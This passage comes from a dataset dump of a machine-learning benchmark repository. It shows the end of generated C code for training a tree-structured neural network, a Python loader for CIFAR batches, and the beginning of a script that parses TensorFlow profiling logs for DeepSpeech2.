x197++) {\nint32_t x198 = x193;\nint32_t x199 = x194;\nfloat x200 = x189[x199];\nint32_t x201 = x195;\nfloat x202 = x87[x201];\nfloat x203 = x200 + x202;\nx192[x198] = x203;\nx193 += 1;\nx194 += 1;\nx195 += 1;\n\n}\nfloat* x210 = (float*)myMalloc(5 * sizeof(float));;\nfloat x211 = -3.4028235E38f;\nfor(int x212=0; x212 < 5; x212++) {\nfloat x213 = x211;\nfloat x214 = x192[x212];\nbool x215 = x214 > x213;\nfloat x216;\nif (x215) {\nx216 = x214;\n} else {\nx216 = x213;\n}\nx211 = x216;\n\n}\nfloat x220 = x211;\nfloat x221 = 0.0f;\nfor(int x222=0; x222 < 5; x222++) {\nfloat x223 = x221;\nfloat x224 = x192[x222];\nfloat x225 = x211;\nfloat x226 = x224 - x225;\ndouble x227 = (double)x226;\ndouble x228 = exp(x227);\nfloat x229 = (float)x228;\nfloat x230 = x223 + x229;\nx221 = x230;\n\n}\nfloat x234 = x221;\nfloat* x239 = (float*)myMalloc(5 * sizeof(float));;\ndouble x235 = (double)x234;\ndouble x236 = log(x235);\nfloat x237 = (float)x236;\nfloat x238 = x220 + x237;\nfor(int x240=0; x240 < 5; x240++) {\nfloat x241 = x192[x240];\nfloat x242 = x241 - x238;\nx239[x240] = x242;\n\n}\nfloat* x246 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x247 = x110[x128];\nfloat x248 = x239[x247];\nfloat* x250 = (float*)myMalloc(1 * sizeof(float));;\nfloat x249 = -1.0f * x248;\nx250[0] = x249;\nfloat* x252 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x279 = (float**)myMalloc(4 * sizeof(float*));;\nx279[0] = x250;\nx279[1] = x252;\nx279[2] = x178;\nx279[3] = x187;\nx253(x279);\nfloat x285 = x246[x247];\nfloat x286 = x252[0];\nfloat x287 = -1.0f * x286;\nfloat x288 = x285 + x287;\nx246[x247] = x288;\nfloat x290 = 0.0f;\nfor(int x291=0; x291 < 5; x291++) {\nfloat x292 = x290;\nfloat x293 = x246[x291];\nfloat x294 = x292 + x293;\nx290 = x294;\n\n}\nfloat x298 = x290;\nfloat* x299 = (float*)myMalloc(1 * sizeof(float));;\nx299[0] = x298;\nfloat x301 = x299[0];\nfor(int x302=0; x302 < 5; x302++) {\nfloat x303 = x210[x302];\nfloat x304 = x246[x302];\nfloat x305 = x239[x302];\ndouble x306 = (double)x305;\ndouble x307 = exp(x306);\nfloat x308 = (float)x307;\nfloat x309 = x308 * x301;\nfloat x310 = x304 - x309;\nfloat x311 = x303 + x310;\nx210[x302] = x311;\n\n}\nint32_t x315 = 0;\nint32_t x316 = 0;\nint32_t x317 = 0;\nfor(int x318=0; x318 < 5; x318++) {\nint32_t x319 = x315;\nfloat x320 = x191[x319];\nfloat x321 = x189[x319];\nint32_t x322 = x316;\nfloat x323 = x87[x322];\nint32_t x324 = x317;\nfloat x325 = x210[x324];\nfloat x326 = x320 + x325;\nx191[x319] = x326;\nfloat x328 = x94[x322];\nfloat x329 = x189[x319];\nfloat x330 = x87[x322];\nfloat x331 = x210[x324];\nfloat x332 = x328 + x331;\nx94[x322] = x332;\nx317 += 1;\nx315 += 1;\nx316 += 1;\n\n}\n// add_cartesian\nint32_t x340 = 0;\nfor(int x341=0; x341 < 5; x341++) {\nfor(int x342=0; x342 < 150; x342++) {\nint32_t x343 = x340;\nint32_t x344 = x343 + x342;\nfloat x345 = x93[x344];\nfloat x346 = x178[x342];\nfloat x347 = x191[x341];\nfloat x348 = x346 * x347;\nfloat x349 = x345 + x348;\nx93[x344] = x349;\n\n}\nx340 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 5,150,1,x78,150,x191,1,1,x187,1);\nfor(int x357=0; x357 < 150; x357++) {\nfloat x358 = x177[x357];\nfloat x359 = x178[x357];\nfloat x362 = x187[x357];\nfloat x360 = x359 * x359;\nfloat x361 = 1.0f - x360;\nfloat x363 = x361 * x362;\nfloat x364 = x358 + x363;\nx177[x357] = x364;\n\n}\nint32_t x368 = 0;\nint32_t x369 = 0;\nint32_t x370 = 0;\nfor(int x371=0; x371 < 150; x371++) {\nint32_t x372 = x368;\nfloat x373 = x158[x372];\nfloat x374 = x156[x372];\nint32_t x375 = x369;\nfloat x376 = x59[x375];\nint32_t x377 = x370;\nfloat x378 = x177[x377];\nfloat x379 = x373 + x378;\nx158[x372] = x379;\nfloat x381 = x89[x375];\nfloat x382 = x156[x372];\nfloat x383 = x59[x375];\nfloat x384 = x177[x377];\nfloat x385 = x381 + x384;\nx89[x375] = x385;\nx370 += 1;\nx368 += 1;\nx369 += 1;\n\n}\n// add_cartesian\nint32_t x393 = 0;\nfor(int x394=0; x394 < 150; x394++) {\nfor(int x395=0; x395 < 300; x395++) {\nint32_t x396 = x393;\nint32_t x397 = x396 + x395;\nfloat x398 = x88[x397];\nfloat x399 = x153[x395];\nfloat x400 = x158[x394];\nfloat x401 = x399 * x400;\nfloat x402 = x398 + x401;\nx88[x397] = x402;\n\n}\nx393 += 300;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,300,1,x50,300,x158,1,1,x154,1);\n} else {\n// dot: List(150, 150), WrappedArray(150)\nfloat* x412 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x60,150,x141,1,0,x412,1);\nfloat* x414 = (float*)myMalloc(150 * sizeof(float));;\n// dot: List(150, 150), WrappedArray(150)\nfloat* x416 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x69,150,x148,1,0,x416,1);\nfloat* x418 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x419 = (float*)myMalloc(150 * sizeof(float));;\nint32_t x420 = 0;\nint32_t x421 = 0;\nint32_t x422 = 0;\nfor(int x423=0; x423 < 150; x423++) {\nint32_t x424 = x420;\nint32_t x425 = x421;\nfloat x426 = x412[x425];\nint32_t x427 = x422;\nfloat x428 = x416[x427];\nfloat x429 = x426 + x428;\nx419[x424] = x429;\nx420 += 1;\nx421 += 1;\nx422 += 1;\n\n}\nfloat* x436 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x437 = (float*)myMalloc(150 * sizeof(float));;\nint32_t x438 = 0;\nint32_t x439 = 0;\nint32_t x440 = 0;\nfor(int x441=0; x441 < 150; x441++) {\nint32_t x442 = x438;\nint32_t x443 = x439;\nfloat x444 = x419[x443];\nint32_t x445 = x440;\nfloat x446 = x77[x445];\nfloat x447 = x444 + x446;\nx437[x442] = x447;\nx438 += 1;\nx439 += 1;\nx440 += 1;\n\n}\nfloat* x454 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x455 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x456=0; x456 < 150; x456++) {\nfloat x457 = x437[x456];\ndouble x458 = (double)x457;\ndouble x459 = tanh(x458);\nfloat x460 = (float)x459;\nx455[x456] = x460;\n\n}\nfloat* x464 = (float*)myMalloc(150 * sizeof(float));;\n// dot: List(5, 150), List(150)\nfloat* x466 = (float*)myMalloc(5 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 5,150,1,x78,150,x455,1,0,x466,1);\nfloat* x468 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x469 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x470 = 0;\nint32_t x471 = 0;\nint32_t x472 = 0;\nfor(int x473=0; x473 < 5; x473++) {\nint32_t x474 = x470;\nint32_t x475 = x471;\nfloat x476 = x466[x475];\nint32_t x477 = x472;\nfloat x478 = x87[x477];\nfloat x479 = x476 + x478;\nx469[x474] = x479;\nx470 += 1;\nx471 += 1;\nx472 += 1;\n\n}\nfloat* x486 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x487 = (float*)myMalloc(1 * sizeof(float));;\nint32_t x488 = 0;\nint32_t x489 = 0;\nint32_t x490 = 0;\nint32_t x491 = x488;\nint32_t x492 = x489;\nfloat x493 = x139[x492];\nint32_t x494 = x490;\nfloat x495 = x146[x494];\nfloat x496 = x493 + x495;\nx487[x491] = x496;\nx488 += 1;\nfloat* x499 = (float*)myMalloc(1 * sizeof(float));;\nfloat x500 = -3.4028235E38f;\nfor(int x501=0; x501 < 5; x501++) {\nfloat x502 = x500;\nfloat x503 = x469[x501];\nbool x504 = x503 > x502;\nfloat x505;\nif (x504) {\nx505 = x503;\n} else {\nx505 = x502;\n}\nx500 = x505;\n\n}\nfloat x509 = x500;\nfloat x510 = 0.0f;\nfor(int x511=0; x511 < 5; x511++) {\nfloat x512 = x510;\nfloat x513 = x469[x511];\nfloat x514 = x500;\nfloat x515 = x513 - x514;\ndouble x516 = (double)x515;\ndouble x517 = exp(x516);\nfloat x518 = (float)x517;\nfloat x519 = x512 + x518;\nx510 = x519;\n\n}\nfloat x523 = x510;\nfloat* x528 = (float*)myMalloc(5 * sizeof(float));;\ndouble x524 = (double)x523;\ndouble x525 = log(x524);\nfloat x526 = (float)x525;\nfloat x527 = x509 + x526;\nfor(int x529=0; x529 < 5; x529++) {\nfloat x530 = x469[x529];\nfloat x531 = x530 - x527;\nx528[x529] = x531;\n\n}\nfloat* x535 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x536 = x110[x128];\nfloat x537 = x528[x536];\nfloat* x539 = (float*)myMalloc(1 * sizeof(float));;\nfloat x538 = -1.0f * x537;\nx539[0] = x538;\nfloat* x541 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x542 = (float*)myMalloc(1 * sizeof(float));;\nint32_t x543 = 0;\nint32_t x544 = 0;\nint32_t x545 = 0;\nint32_t x546 = x543;\nint32_t x547 = x544;\nfloat x548 = x487[x547];\nint32_t x549 = x545;\nfloat x550 = x539[x549];\nfloat x551 = x548 + x550;\nx542[x546] = x551;\nx543 += 1;\nfloat* x554 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x581 = (float**)myMalloc(4 * sizeof(float*));;\nx581[0] = x542;\nx581[1] = x554;\nx581[2] = x455;\nx581[3] = x464;\nx555(x581);\nint32_t x587 = 0;\nint32_t x588 = 0;\nint32_t x589 = 0;\nint32_t x590 = x587;\nfloat x591 = x499[x590];\nfloat x592 = x487[x590];\nint32_t x593 = x588;\nfloat x594 = x539[x593];\nint32_t x595 = x589;\nfloat x596 = x554[x595];\nfloat x597 = x591 + x596;\nx499[x590] = x597;\nfloat x599 = x541[x593];\nfloat x600 = x487[x590];\nfloat x601 = x539[x593];\nfloat x602 = x554[x595];\nfloat x603 = x599 + x602;\nx541[x593] = x603;\nx589 += 1;\nfloat x606 = x535[x536];\nfloat x607 = x541[0];\nfloat x608 = -1.0f * x607;\nfloat x609 = x606 + x608;\nx535[x536] = x609;\nfloat x611 = 0.0f;\nfor(int x612=0; x612 < 5; x612++) {\nfloat x613 = x611;\nfloat x614 = x535[x612];\nfloat x615 = x613 + x614;\nx611 = x615;\n\n}\nfloat x619 = x611;\nfloat* x620 = (float*)myMalloc(1 * sizeof(float));;\nx620[0] = x619;\nfloat x622 = x620[0];\nfor(int x623=0; x623 < 5; x623++) {\nfloat x624 = x486[x623];\nfloat x625 = x535[x623];\nfloat x626 = x528[x623];\ndouble x627 = (double)x626;\ndouble x628 = exp(x627);\nfloat x629 = (float)x628;\nfloat x630 = x629 * x622;\nfloat x631 = x625 - x630;\nfloat x632 = x624 + x631;\nx486[x623] = x632;\n\n}\nint32_t x636 = 0;\nint32_t x637 = 0;\nint32_t x638 = 0;\nint32_t x639 = x636;\nfloat x640 = x140[x639];\nfloat x641 = x139[x639];\nint32_t x642 = x637;\nfloat x643 = x146[x642];\nint32_t x644 = x638;\nfloat x645 = x499[x644];\nfloat x646 = x640 + x645;\nx140[x639] = x646;\nfloat x648 = x147[x642];\nfloat x649 = x139[x639];\nfloat x650 = x146[x642];\nfloat x651 = x499[x644];\nfloat x652 = x648 + x651;\nx147[x642] = x652;\nx638 += 1;\nint32_t x655 = 0;\nint32_t x656 = 0;\nint32_t x657 = 0;\nfor(int x658=0; x658 < 5; x658++) {\nint32_t x659 = x655;\nfloat x660 = x468[x659];\nfloat x661 = x466[x659];\nint32_t x662 = x656;\nfloat x663 = x87[x662];\nint32_t x664 = x657;\nfloat x665 = x486[x664];\nfloat x666 = x660 + x665;\nx468[x659] = x666;\nfloat x668 = x94[x662];\nfloat x669 = x466[x659];\nfloat x670 = x87[x662];\nfloat x671 = x486[x664];\nfloat x672 = x668 + x671;\nx94[x662] = x672;\nx657 += 1;\nx655 += 1;\nx656 += 1;\n\n}\n// add_cartesian\nint32_t x680 = 0;\nfor(int x681=0; x681 < 5; x681++) {\nfor(int x682=0; x682 < 150; x682++) {\nint32_t x683 = x680;\nint32_t x684 = x683 + x682;\nfloat x685 = x93[x684];\nfloat x686 = x455[x682];\nfloat x687 = x468[x681];\nfloat x688 = x686 * x687;\nfloat x689 = x685 + x688;\nx93[x684] = x689;\n\n}\nx680 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 5,150,1,x78,150,x468,1,1,x464,1);\nfor(int x697=0; x697 < 150; x697++) {\nfloat x698 = x454[x697];\nfloat x699 = x455[x697];\nfloat x702 = x464[x697];\nfloat x700 = x699 * x699;\nfloat x701 = 1.0f - x700;\nfloat x703 = x701 * x702;\nfloat x704 = x698 + x703;\nx454[x697] = x704;\n\n}\nint32_t x708 = 0;\nint32_t x709 = 0;\nint32_t x710 = 0;\nfor(int x711=0; x711 < 150; x711++) {\nint32_t x712 = x708;\nfloat x713 = x436[x712];\nfloat x714 = x419[x712];\nint32_t x715 = x709;\nfloat x716 = x77[x715];\nint32_t x717 = x710;\nfloat x718 = x454[x717];\nfloat x719 = x713 + x718;\nx436[x712] = x719;\nfloat x721 = x92[x715];\nfloat x722 = x419[x712];\nfloat x723 = x77[x715];\nfloat x724 = x454[x717];\nfloat x725 = x721 + x724;\nx92[x715] = x725;\nx710 += 1;\nx708 += 1;\nx709 += 1;\n\n}\nint32_t x732 = 0;\nint32_t x733 = 0;\nint32_t x734 = 0;\nfor(int x735=0; x735 < 150; x735++) {\nint32_t x736 = x732;\nfloat x737 = x414[x736];\nfloat x738 = x412[x736];\nint32_t x739 = x733;\nfloat x740 = x416[x739];\nint32_t x741 = x734;\nfloat x742 = x436[x741];\nfloat x743 = x737 + x742;\nx414[x736] = x743;\nfloat x745 = x418[x739];\nfloat x746 = x412[x736];\nfloat x747 = x416[x739];\nfloat x748 = x436[x741];\nfloat x749 = x745 + x748;\nx418[x739] = x749;\nx734 += 1;\nx732 += 1;\nx733 += 1;\n\n}\n// add_cartesian\nint32_t x757 = 0;\nfor(int x758=0; x758 < 150; x758++) {\nfor(int x759=0; x759 < 150; x759++) {\nint32_t x760 = x757;\nint32_t x761 = x760 + x759;\nfloat x762 = x91[x761];\nfloat x763 = x148[x759];\nfloat x764 = x418[x758];\nfloat x765 = x763 * x764;\nfloat x766 = x762 + x765;\nx91[x761] = x766;\n\n}\nx757 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x69,150,x418,1,1,x149,1);\n// add_cartesian\nint32_t x775 = 0;\nfor(int x776=0; x776 < 150; x776++) {\nfor(int x777=0; x777 < 150; x777++) {\nint32_t x778 = x775;\nint32_t x779 = x778 + x777;\nfloat x780 = x90[x779];\nfloat x781 = x141[x777];\nfloat x782 = x414[x776];\nfloat x783 = x781 * x782;\nfloat x784 = x780 + x783;\nx90[x779] = x784;\n\n}\nx775 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x60,150,x414,1,1,x142,1);\n}\n};\nx124(x143,x144,x795);\n};\nx124(x136,x137,x803);\n} else {\nfloat** x824 = (float**)myMalloc(4 * sizeof(float*));;\nx824[0] = x120;\nx824[1] = x121;\nx824[2] = x122;\nx824[3] = x123;\nfunction<void(float**)> x129 = x126;\nfunction<void(float**)> x811 = [&](float** x812) {\nfloat* x813 = x812[0];\nfloat* x814 = x812[1];\nfloat* x815 = x812[2];\nfloat* x816 = x812[3];\nfloat** x817 = (float**)myMalloc(4 * sizeof(float*));;\nx817[0] = x813;\nx817[1] = x814;\nx817[2] = x815;\nx817[3] = x816;\nx129(x817);\n};\nx811(x824);\n}\n};\nfloat* x117 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x118 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x119 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x843 = (float**)myMalloc(4 * sizeof(float*));;\nx843[0] = x120;\nx843[1] = x121;\nx843[2] = x122;\nx843[3] = x123;\nfunction<void(float**)> x833 = [&](float** x834) {\nfloat* x835 = x834[0];\nfloat* x836 = x834[1];\nfloat* x837 = x834[2];\nfloat* x838 = x834[3];\nx836[0] = 1.0f;\nfloat x840 = x835[0];\nx119[0] = x840;\n};\nx124(0,x833,x843);\nfloat x850 = x119[0];\nfloat x851 = x107;\nfloat x852 = (float)x108;\nfloat x853 = x851 * x852;\nint32_t x854 = x108 + 1;\nfloat x855 = (float)x854;\nfloat x856 = x853 / x855;\nfloat x857 = x850 / x855;\nfloat x858 = x856 + x857;\nx107 = x858;\nfor(int x860=0; x860 < 45000; x860++) {\nfloat x861 = x88[x860];\nfloat x862 = x861;\nfloat x863 = x95[x860];\nfloat x864 = x862;\nfloat x865 = x864 * x864;\nfloat x866 = x863 + x865;\nx95[x860] = x866;\nfloat x868 = x50[x860];\nfloat x870 = x95[x860];\nfloat x869 = 0.05f * x864;\ndouble x871 = (double)x870;\ndouble x872 = x871 + 9.99999993922529E-9;\ndouble x873 = sqrt(x872);\nfloat x874 = (float)x873;\nfloat x875 = x869 / x874;\nfloat x876 = x868 - x875;\nx50[x860] = x876;\nx88[x860] = 0.0f;\n\n}\nfor(int x881=0; x881 < 150; x881++) {\nfloat x882 = x89[x881];\nfloat x883 = x882;\nfloat x884 = x96[x881];\nfloat x885 = x883;\nfloat x886 = x885 * x885;\nfloat x887 = x884 + x886;\nx96[x881] = x887;\nfloat x889 = x59[x881];\nfloat x891 = x96[x881];\nfloat x890 = 0.05f * x885;\ndouble x892 = (double)x891;\ndouble x893 = x892 + 9.99999993922529E-9;\ndouble x894 = sqrt(x893);\nfloat x895 = (float)x894;\nfloat x896 = x890 / x895;\nfloat x897 = x889 - x896;\nx59[x881] = x897;\nx89[x881] = 0.0f;\n\n}\nfor(int x902=0; x902 < 22500; x902++) {\nfloat x903 = x90[x902];\nfloat x904 = x903;\nfloat x905 = x97[x902];\nfloat x906 = x904;\nfloat x907 = x906 * x906;\nfloat x908 = x905 + x907;\nx97[x902] = x908;\nfloat x910 = x60[x902];\nfloat x912 = x97[x902];\nfloat x911 = 0.05f * x906;\ndouble x913 = (double)x912;\ndouble x914 = x913 + 9.99999993922529E-9;\ndouble x915 = sqrt(x914);\nfloat x916 = (float)x915;\nfloat x917 = x911 / x916;\nfloat x918 = x910 - x917;\nx60[x902] = x918;\nx90[x902] = 0.0f;\n\n}\nfor(int x923=0; x923 < 22500; x923++) {\nfloat x924 = x91[x923];\nfloat x925 = x924;\nfloat x926 = x98[x923];\nfloat x927 = x925;\nfloat x928 = x927 * x927;\nfloat x929 = x926 + x928;\nx98[x923] = x929;\nfloat x931 = x69[x923];\nfloat x933 = x98[x923];\nfloat x932 = 0.05f * x927;\ndouble x934 = (double)x933;\ndouble x935 = x934 + 9.99999993922529E-9;\ndouble x936 = sqrt(x935);\nfloat x937 = (float)x936;\nfloat x938 = x932 / x937;\nfloat x939 = x931 - x938;\nx69[x923] = x939;\nx91[x923] = 0.0f;\n\n}\nfor(int x944=0; x944 < 150; x944++) {\nfloat x945 = x92[x944];\nfloat x946 = x945;\nfloat x947 = x99[x944];\nfloat x948 = x946;\nfloat x949 = x948 * x948;\nfloat x950 = x947 + x949;\nx99[x944] = x950;\nfloat x952 = x77[x944];\nfloat x954 = x99[x944];\nfloat x953 = 0.05f * x948;\ndouble x955 = (double)x954;\ndouble x956 = x955 + 9.99999993922529E-9;\ndouble x957 = sqrt(x956);\nfloat x958 = (float)x957;\nfloat x959 = x953 / x958;\nfloat x960 = x952 - x959;\nx77[x944] = x960;\nx92[x944] = 0.0f;\n\n}\nfor(int x965=0; x965 < 750; x965++) {\nfloat x966 = x93[x965];\nfloat x967 = x966;\nfloat x968 = x100[x965];\nfloat x969 = x967;\nfloat x970 = x969 * x969;\nfloat x971 = x968 + x970;\nx100[x965] = x971;\nfloat x973 = x78[x965];\nfloat x975 = x100[x965];\nfloat x974 = 0.05f * x969;\ndouble x976 = (double)x975;\ndouble x977 = x976 + 9.99999993922529E-9;\ndouble x978 = sqrt(x977);\nfloat x979 = (float)x978;\nfloat x980 = x974 / x979;\nfloat x981 = x973 - x980;\nx78[x965] = x981;\nx93[x965] = 0.0f;\n\n}\nfor(int x986=0; x986 < 5; x986++) {\nfloat x987 = x94[x986];\nfloat x988 = x987;\nfloat x989 = x101[x986];\nfloat x990 = x988;\nfloat x991 = x990 * x990;\nfloat x992 = x989 + x991;\nx101[x986] = x992;\nfloat x994 = x87[x986];\nfloat x996 = x101[x986];\nfloat x995 = 0.05f * x990;\ndouble x997 = (double)x996;\ndouble x998 = x997 + 9.99999993922529E-9;\ndouble x999 = sqrt(x998);\nfloat x1000 = (float)x999;\nfloat x1001 = x995 / x1000;\nfloat x1002 = x994 - x1001;\nx87[x986] = x1002;\nx94[x986] = 0.0f;\n\n}\nint64_t x1007 = (long)mallocAddr;\nint64_t x1008 = x1007 - x103;\nmemset((void*)x103, 0, x1008);\nmallocAddr = (void*)x103;\n\n}\nfloat x1013 = x107;\ndouble x1014 = (double)x1013;\nx102[x106] = x1014;\ndouble x1016 = ((double)clock() / CLOCKS_PER_SEC);\ndouble x1017 = x1016 - x104;\nprintf(\"epoc %d, average_loss %f, time %lf\\n\",x106,x1013,x1017);\n\n}\ndouble x1021 = ((double)clock() / CLOCKS_PER_SEC);\nint64_t x1025 = (long)fopen(x0, \"w\");\nfprintf((FILE *)x1025, \"unit: %s\\n\", \"1 epoch\");\nfor(int x1027=0; x1027 < 6; x1027++) {\ndouble x1028 = x102[x1027];\nfprintf((FILE *)x1025, \"%lf\\n\", x1028);\n\n}\ndouble x1022 = x104 - x2;\ndouble x1023 = x1021 - x104;\ndouble x1024 = x1023 / 6.0;\nfprintf((FILE *)x1025, \"run time: %lf %lf\\n\", x1022, x1024);\nfclose((FILE*)x1025);\n// Backend cleanup.\n}\n/*****************************************\n End of C Generated Code \n*******************************************/\n\n" }, { "alpha_fraction": 0.6699453592300415, "alphanum_fraction": 0.6819671988487244, "avg_line_length": 29.5, "blob_id": "cd0095ad7708083fdef65d9e8ea3408f422c226a", "content_id": "052f69371fba0a88c20bf77eb63867a0bf093237", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 915, "license_type": "permissive", "max_line_length": 71, "num_lines": 30, "path": "/src/out/PLDI19evaluation/resnet50/tensorflow/inputs.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport pickle\nimport numpy as np\n\ndef unpickle(file):\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\nclass Batch(object):\n\n\tdef __init__(self, filename, batch_size):\n\t\tself.dict = unpickle(filename)\n\t\tself.data = self.dict[b'data']\n\t\tself.labels = self.dict[b'labels']\n\t\tself.batch_size = batch_size\n\t\tself.current_idx = 0\n\t\tself.total_size = len(self.labels)\n\n\tdef batch(self):\n\t\tif (self.current_idx + self.batch_size >= self.total_size):\n\t\t\tself.current_idx = 0\n\t\tx = self.data[self.current_idx: self.current_idx + self.batch_size]\n\t\tx = [i.astype(np.float32).reshape(3, 32, 32) for i in x]\n\t\ty = self.labels[self.current_idx: self.current_idx + self.batch_size]\n\t\ty = np.asarray(y, dtype=np.int32)\n\t\tself.current_idx += self.batch_size\n\t\treturn x, y\n" }, { "alpha_fraction": 0.6178156733512878, "alphanum_fraction": 0.634596586227417, "avg_line_length": 33.814632415771484, "blob_id": "83c220e6fa958b71a6f80aa5263192c179ac1b50", "content_id": "99b02eb168229b1ffb9c68b8ad493dabf5f9c87c", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7151, "license_type": "permissive", "max_line_length": 141, "num_lines": 205, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/tools/parse_log.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import fileinput as fin\n\n# funcs:\ndef findValWithFormat(line):\n\tlines.append(line)\n\ttaken = line.split(\" \")\n\traw_val = taken[-1]\n\tval = raw_val.split(\"/\")[-1]\n\tval = val[0:-2]\n\tif 'us' in val:\n\t\tval = float(val[0:val.find('us')])\n\t\tval = val/1000\n\telse:\n\t\tval = float(val[0:val.find('ms')])\n\treturn val\n\ndef getCellNum(line):\n\tcell_num = line[line.find(rnn_cell_string):line.find(rnn_cell_string) + len(rnn_cell_string) + 1]\n\treturn cell_num\n\ndef profRNNCell(line, rnncell_prof):\n\tcell_num = getCellNum(line)\n\tval = findValWithFormat(line)\n\trnncell_prof[cell_num] += val\n\n# variables:\nlines = []\nmodule_rnncell = \"CustomRNNCell2\"\nmodule_grad = 'gradients'\nnum_rnn_layer = 7\nrnn_cell_string = \"cell_\"\nmodule_rnn = 'rnn'\nmodule_conv1 = 'conv1'\nmodule_conv2 = 'conv2'\nmodule_softmax = 'softmax_linear'\nmodule_ctc = ['ctc_loss', 'CTCLoss']\nmodule_bn = 'bn2'\n\nrnn_cells = [rnn_cell_string+str(i) for i in range(num_rnn_layer)]\n\nrnncell_f_prof = dict.fromkeys(rnn_cells)\nrnncell_b_prof = dict.fromkeys(rnn_cells)\n\n# prf estimator:\nfor el in rnncell_f_prof:\n\trnncell_f_prof[el] = 0.0\nfor el in rnncell_b_prof:\n\trnncell_b_prof[el] = 0.0\n\noverall_cost = 0.0\n\nprofs ={\\\n 'rnn_trans_f_prof': 0.0, \\\n 'rnn_trans_b_prof': 0.0, \\\n 'rnn_reshape_f_prof': 0.0, \\\n 'rnn_reshape_b_prof': 0.0, \\\n 'rnn_ReverseSequence_f_prof': 0.0, \\\n 'rnn_ReverseSequence_b_prof': 0.0, \\\n 'conv1_f_prof': 0.0, \\\n 'conv1_b_prof': 0.0, \\\n 'bn1_f_prof': 0.0, \\\n 'bn1_b_prof': 0.0, \\\n 'relu1_f_prof': 0.0, \\\n 'relu1_b_prof': 0.0, \\\n 'conv2_f_prof': 0.0, \\\n 'conv2_b_prof': 0.0, \\\n 'bn2_f_prof': 0.0, \\\n 'bn2_b_prof': 0.0, \\\n 'relu2_f_prof': 0.0, \\\n 'relu2_b_prof': 0.0, \\\n 'softmax_f_prof': 0.0, \\\n 'softmax_b_prof': 0.0, \\\n 'ctc_f_prof': 0.0, \\\n 'ctc_b_prof': 0.0 \\\n\t}\n\n\nwith open('timing_memory.log', 'r') as f:\n\tfor line in f:\n\t\tif len(line) > 3:\n\t\t\tif ((line[3] != ' ') or 'Adam/update_' in line) and ('flops' not in line):\n\t\t\t\t# flops is not considered\n\t\t\t\t# conv1\n\t\t\t\tif (module_grad not in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['conv1_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['conv1_b_prof'] += val\n\n\t\t\t\t# BN1\n\t\t\t\tif (module_grad not in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['bn1_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['bn1_b_prof'] += val\n\n\t\t\t\t# Relu1\n\t\t\t\tif (module_grad not in line) and (module_conv1 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['relu1_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_conv1 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['relu1_b_prof'] += val\n\n\t\t\t\t# conv2\n\t\t\t\tif (module_grad not in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['conv2_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['conv2_b_prof'] += val\n\n\t\t\t\t# BN2\n\t\t\t\tif (module_grad not in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['bn2_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['bn2_b_prof'] += val\n\n\t\t\t\t# Relu2\n\t\t\t\tif (module_grad not in line) and (module_conv2 in line) and ('Minimum' in line or 'Relu' 